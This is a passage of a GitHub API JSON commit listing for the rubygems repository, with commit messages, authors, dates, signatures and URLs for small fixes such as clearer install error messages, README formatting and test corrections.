2.5\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/abc00f1ac9fef0b3d0bc552bd1710561685f9621","html_url":"https://github.com/rubygems/rubygems/commit/abc00f1ac9fef0b3d0bc552bd1710561685f9621","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/abc00f1ac9fef0b3d0bc552bd1710561685f9621/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"71b7c87f32deea6b4e9aaba23fd2638917c8ed2d","url":"https://api.github.com/repos/rubygems/rubygems/commits/71b7c87f32deea6b4e9aaba23fd2638917c8ed2d","html_url":"https://github.com/rubygems/rubygems/commit/71b7c87f32deea6b4e9aaba23fd2638917c8ed2d"}]},{"sha":"d487894c2e4f3ace75a11e91323c9aca6716d15a","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2018-01-05T01:28:44Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2018-01-05T01:28:44Z"},"message":"Auto merge of #2137 - rubygems:colby/improve-errors, r=hsbt\n\nImprove the error message given when using --version with multiple gems in the install command\n\nSet the error message to now be:\n\n Can''t use --version with multiple gems. You can specify multiple gems with\n version requirements using `gem install ''my_gem:1.0.0'' ''my_other_gem:~>2.0.0\n\nThis gives a more easily understood example of the argument format to\nuse in rubygems when installing multiple gems with versions constraints.\n\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"ec9436fba15995a4188baa546d1f35139035f911","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ec9436fba15995a4188baa546d1f35139035f911"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/d487894c2e4f3ace75a11e91323c9aca6716d15a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/d487894c2e4f3ace75a11e91323c9aca6716d15a","html_url":"https://github.com/rubygems/rubygems/commit/d487894c2e4f3ace75a11e91323c9aca6716d15a","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/d487894c2e4f3ace75a11e91323c9aca6716d15a/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"6b4cbbba4955b37521afb4481d454211ca960271","url":"https://api.github.com/repos/rubygems/rubygems/commits/6b4cbbba4955b37521afb4481d454211ca960271","html_url":"https://github.com/rubygems/rubygems/commit/6b4cbbba4955b37521afb4481d454211ca960271"},{"sha":"69609048840b3844bbd9c0a21814d2511d2ee3ba","url":"https://api.github.com/repos/rubygems/rubygems/commits/69609048840b3844bbd9c0a21814d2511d2ee3ba","html_url":"https://github.com/rubygems/rubygems/commit/69609048840b3844bbd9c0a21814d2511d2ee3ba"}]},{"sha":"6b4cbbba4955b37521afb4481d454211ca960271","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2018-01-05T01:00:52Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2018-01-05T01:00:52Z"},"message":"Auto merge of #2136 - rubygems:colby/readme-title-consistent, r=segiddins\n\ntitleize \"GETTING HELP\" in readme\n\nThis is a quick PR that just titleizes \"GETTING HELP\" from being all uppercase to make it consistent with the rest of the document.\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"46b3c7e1792f56664034d44d1405b7a8a089aa5f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/46b3c7e1792f56664034d44d1405b7a8a089aa5f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/6b4cbbba4955b37521afb4481d454211ca960271","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/6b4cbbba4955b37521afb4481d454211ca960271","html_url":"https://github.com/rubygems/rubygems/commit/6b4cbbba4955b37521afb4481d454211ca960271","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/6b4cbbba4955b37521afb4481d454211ca960271/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"986179676fa57773ac6468adb8d36f98271734f6","url":"https://api.github.com/repos/rubygems/rubygems/commits/986179676fa57773ac6468adb8d36f98271734f6","html_url":"https://github.com/rubygems/rubygems/commit/986179676fa57773ac6468adb8d36f98271734f6"},{"sha":"d133514a99ad8a984524a615ff2799db3a5512aa","url":"https://api.github.com/repos/rubygems/rubygems/commits/d133514a99ad8a984524a615ff2799db3a5512aa","html_url":"https://github.com/rubygems/rubygems/commit/d133514a99ad8a984524a615ff2799db3a5512aa"}]},{"sha":"71b7c87f32deea6b4e9aaba23fd2638917c8ed2d","commit":{"author":{"name":"ko1","email":"ko1@b2dd03c8-39d4-4d8f-98ff-823fe69b080e","date":"2017-12-28T20:09:24Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2018-01-05T00:51:15Z"},"message":"`$SAFE` as a process global state. [Feature #14250]\n\n* test/rubygems/test_gem.rb: do not set `$SAFE = 1`.\n\n* test/rubygems/test_gem_specification.rb: ditto.\n\ngit-svn-id: svn+ssh://ci.ruby-lang.org/ruby/trunk@61510 b2dd03c8-39d4-4d8f-98ff-823fe69b080e","tree":{"sha":"bdb9a74d8cdea78c2380eae59830edbbc0258203","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/bdb9a74d8cdea78c2380eae59830edbbc0258203"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/71b7c87f32deea6b4e9aaba23fd2638917c8ed2d","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlpOzEAACgkQ+c8TQXJk\n+sI+nAgAmPNAnJOramrvxQQ//tUDkpILiDC2aqqrega3eHPwUJQRwH1GJcZTeAVX\nJJBPwMX0eaKC3x+xVh19/41vb2hVd0YE7TEYGcKvQHLHyRhUAmn1HInW5UBjL0io\nRkPVccArKAJcgGZI4cdNmHiYMEUO83B7EEnnVbd1kb6QlR+FY3B62SUKK2pQDUHs\n5QRWhjtQL5vAr/AeXnfpKFPvIVIt1VHoLHI45guRrgQc+q0jCsDLcOy3YaExngpa\nZ0Q4fQ4T8OOG0umk7yE6pQPuXxIj69ONmH1NR9TcmuS8COJ1vMYOVAGgOeVJbNPC\nxn4nNWQmrWQ1Y2AjkwA0sAT0e350aw==\n=Zd2G\n-----END PGP SIGNATURE-----","payload":"tree bdb9a74d8cdea78c2380eae59830edbbc0258203\nparent 71c2f0d3e3c9a247e2301495b8885d55a4db6236\nauthor ko1 1514491764 +0000\ncommitter SHIBATA Hiroshi 1515113475 +0900\n\n`$SAFE` as a process global state. [Feature #14250]\n\n* test/rubygems/test_gem.rb: do not set `$SAFE = 1`.\n\n* test/rubygems/test_gem_specification.rb: ditto.\n\ngit-svn-id: svn+ssh://ci.ruby-lang.org/ruby/trunk@61510 b2dd03c8-39d4-4d8f-98ff-823fe69b080e\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/71b7c87f32deea6b4e9aaba23fd2638917c8ed2d","html_url":"https://github.com/rubygems/rubygems/commit/71b7c87f32deea6b4e9aaba23fd2638917c8ed2d","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/71b7c87f32deea6b4e9aaba23fd2638917c8ed2d/comments","author":{"login":"ko1","id":9558,"avatar_url":"https://avatars3.githubusercontent.com/u/9558?v=4","gravatar_id":"","url":"https://api.github.com/users/ko1","html_url":"https://github.com/ko1","followers_url":"https://api.github.com/users/ko1/followers","following_url":"https://api.github.com/users/ko1/following{/other_user}","gists_url":"https://api.github.com/users/ko1/gists{/gist_id}","starred_url":"https://api.github.com/users/ko1/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ko1/subscriptions","organizations_url":"https://api.github.com/users/ko1/orgs","repos_url":"https://api.github.com/users/ko1/repos","events_url":"https://api.github.com/users/ko1/events{/privacy}","received_events_url":"https://api.github.com/users/ko1/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"71c2f0d3e3c9a247e2301495b8885d55a4db6236","url":"https://api.github.com/repos/rubygems/rubygems/commits/71c2f0d3e3c9a247e2301495b8885d55a4db6236","html_url":"https://github.com/rubygems/rubygems/commit/71c2f0d3e3c9a247e2301495b8885d55a4db6236"}]},{"sha":"71c2f0d3e3c9a247e2301495b8885d55a4db6236","commit":{"author":{"name":"ko1","email":"ko1@b2dd03c8-39d4-4d8f-98ff-823fe69b080e","date":"2017-12-27T14:50:49Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2018-01-05T00:50:40Z"},"message":"fix concurrent test.\n\n* test/rubygems/test_require.rb (test_concurrent_require):\n Synchronizations should be in ensure clause. Sometimes\n `require` fails (not sure why) and latch is not released.\n Such case introduces unlimited awaiting.\n This patch soleve this problem.\n\n\ngit-svn-id: svn+ssh://ci.ruby-lang.org/ruby/trunk@61501 b2dd03c8-39d4-4d8f-98ff-823fe69b080e","tree":{"sha":"0234af26751fc9c3e0907624e8a2f83060e1b06d","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/0234af26751fc9c3e0907624e8a2f83060e1b06d"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/71c2f0d3e3c9a247e2301495b8885d55a4db6236","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/71c2f0d3e3c9a247e2301495b8885d55a4db6236","html_url":"https://github.com/rubygems/rubygems/commit/71c2f0d3e3c9a247e2301495b8885d55a4db6236","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/71c2f0d3e3c9a247e2301495b8885d55a4db6236/comments","author":{"login":"ko1","id":9558,"avatar_url":"https://avatars3.githubusercontent.com/u/9558?v=4","gravatar_id":"","url":"https://api.github.com/users/ko1","html_url":"https://github.com/ko1","followers_url":"https://api.github.com/users/ko1/followers","following_url":"https://api.github.com/users/ko1/following{/other_user}","gists_url":"https://api.github.com/users/ko1/gists{/gist_id}","starred_url":"https://api.github.com/users/ko1/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ko1/subscriptions","organizations_url":"https://api.github.com/users/ko1/orgs","repos_url":"https://api.github.com/users/ko1/repos","events_url":"https://api.github.com/users/ko1/events{/privacy}","received_events_url":"https://api.github.com/users/ko1/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"986179676fa57773ac6468adb8d36f98271734f6","url":"https://api.github.com/repos/rubygems/rubygems/commits/986179676fa57773ac6468adb8d36f98271734f6","html_url":"https://github.com/rubygems/rubygems/commit/986179676fa57773ac6468adb8d36f98271734f6"}]},{"sha":"69609048840b3844bbd9c0a21814d2511d2ee3ba","commit":{"author":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-12-30T12:33:45Z"},"committer":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-12-30T12:41:49Z"},"message":"Improve the error message given when using --version with multiple gems\nin the install command\n\nSet the error message to now be:\n\n Can''t use --version with multiple gems. You can specify multiple gems with\n version requirements using `gem install ''my_gem:1.0.0'' ''my_other_gem:~>2.0.0\n\nThis gives a more easily understood example of the argument format to\nuse in rubygems when installing multiple gems with versions constraints.","tree":{"sha":"8ef0d9428c70aa62fa15ef555d6b983b91c8b724","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/8ef0d9428c70aa62fa15ef555d6b983b91c8b724"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/69609048840b3844bbd9c0a21814d2511d2ee3ba","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/69609048840b3844bbd9c0a21814d2511d2ee3ba","html_url":"https://github.com/rubygems/rubygems/commit/69609048840b3844bbd9c0a21814d2511d2ee3ba","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/69609048840b3844bbd9c0a21814d2511d2ee3ba/comments","author":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"committer":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"parents":[{"sha":"986179676fa57773ac6468adb8d36f98271734f6","url":"https://api.github.com/repos/rubygems/rubygems/commits/986179676fa57773ac6468adb8d36f98271734f6","html_url":"https://github.com/rubygems/rubygems/commit/986179676fa57773ac6468adb8d36f98271734f6"}]},{"sha":"d133514a99ad8a984524a615ff2799db3a5512aa","commit":{"author":{"name":"Colby Swandale","email":"hello@colby.fyi","date":"2017-12-30T11:07:45Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-12-30T11:07:45Z"},"message":"titleize \"GETTING HELP\" in readme","tree":{"sha":"46b3c7e1792f56664034d44d1405b7a8a089aa5f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/46b3c7e1792f56664034d44d1405b7a8a089aa5f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/d133514a99ad8a984524a615ff2799db3a5512aa","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJaR3OBCRBK7hj4Ov3rIwAAdHIIAJXhDV1gbviDwcnnhZ9pGavb\noVrIElJD3loSA847d10j41usRi/xhVDBTxoO82LYmGuPbjdzqhgJg7/YI9xRxs0L\nLcugVQILvtXPVI430/HpUz+osWelXyaRsXug/WY3jheP6FfRPuqF1fiCMUz4Qgdp\naVZFn1t6Y0AMQoRAHkZHnbhhfzAs3nx2k0ZTvCDbNCU0PhBVEG7f1WuCcBYnNHBQ\njNsrnscYPoaVe1nwUDVAkggiwH/bHm4HPsPh0yhk9j5Q8yvlEOKls5jN7h/moBgI\nB4zjwlWlZx8BdRY/PlCS8HXbTJWiYd+Y/A+bJ+49RElt9nuHepKnEmLPw1Hb/jg=\n=NwEb\n-----END PGP SIGNATURE-----\n","payload":"tree 46b3c7e1792f56664034d44d1405b7a8a089aa5f\nparent 986179676fa57773ac6468adb8d36f98271734f6\nauthor Colby Swandale 1514632065 +1100\ncommitter GitHub 1514632065 +1100\n\ntitleize \"GETTING HELP\" in readme"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/d133514a99ad8a984524a615ff2799db3a5512aa","html_url":"https://github.com/rubygems/rubygems/commit/d133514a99ad8a984524a615ff2799db3a5512aa","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/d133514a99ad8a984524a615ff2799db3a5512aa/comments","author":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"986179676fa57773ac6468adb8d36f98271734f6","url":"https://api.github.com/repos/rubygems/rubygems/commits/986179676fa57773ac6468adb8d36f98271734f6","html_url":"https://github.com/rubygems/rubygems/commit/986179676fa57773ac6468adb8d36f98271734f6"}]},{"sha":"986179676fa57773ac6468adb8d36f98271734f6","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-29T12:46:20Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-29T12:46:20Z"},"message":"Auto merge of #1884 - bobbytables:patch-1, r=hsbt\n\nFix undefined method error when printing alert\n\nIn the case a directory does not exist, this code would attempt to print an error but would fail because `directory` isn''t a defined method or variable.\n\n# Description:\n\nWhen attempting to generate an index for a directory that doesn''t exist, you''d get an exception like so:\n\n```\n$ gem generate_index --directory s3\nERROR: While executing gem ... (NameError)\n undefined local variable or method `directory'' for #\n```\n\nThis makes the error alerting use the options hash to print the name instead of just failing\n______________\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [ ] Write tests\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"2718d1f91691f011f0c75d51bd9bf54c1f1dd635","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/2718d1f91691f011f0c75d51bd9bf54c1f1dd635"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/986179676fa57773ac6468adb8d36f98271734f6","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/986179676fa57773ac6468adb8d36f98271734f6","html_url":"https://github.com/rubygems/rubygems/commit/986179676fa57773ac6468adb8d36f98271734f6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/986179676fa57773ac6468adb8d36f98271734f6/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"7c2c4c3a7444b211596c2200e5fc8fccf1d8b619","url":"https://api.github.com/repos/rubygems/rubygems/commits/7c2c4c3a7444b211596c2200e5fc8fccf1d8b619","html_url":"https://github.com/rubygems/rubygems/commit/7c2c4c3a7444b211596c2200e5fc8fccf1d8b619"},{"sha":"2b169c3383c9febc95c6980a22c439eaf4d773da","url":"https://api.github.com/repos/rubygems/rubygems/commits/2b169c3383c9febc95c6980a22c439eaf4d773da","html_url":"https://github.com/rubygems/rubygems/commit/2b169c3383c9febc95c6980a22c439eaf4d773da"}]},{"sha":"7c2c4c3a7444b211596c2200e5fc8fccf1d8b619","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-29T12:18:15Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-29T12:18:15Z"},"message":"Auto merge of #1592 - hennevogel:master, r=hsbt\n\nSkipping more than one gem in pristine\n\n# Description:\n\nTurn --skip into an array of values to make it possible\nto skip more than one gem when running pristine.\n\n---\n# Tasks:\n- [X] Describe the problem / feature\n- [X] Write tests\n- [X] Write code to solve the problem\n- [X] Get code review from coworkers / friends\n- [X] [Squash commits](http://gitready.com/advanced/2009/02/10/squashing-commits-with-rebase.html)\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"99d971014c75cb5ab8a643f0b5e89262159d1875","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/99d971014c75cb5ab8a643f0b5e89262159d1875"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/7c2c4c3a7444b211596c2200e5fc8fccf1d8b619","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/7c2c4c3a7444b211596c2200e5fc8fccf1d8b619","html_url":"https://github.com/rubygems/rubygems/commit/7c2c4c3a7444b211596c2200e5fc8fccf1d8b619","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/7c2c4c3a7444b211596c2200e5fc8fccf1d8b619/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4"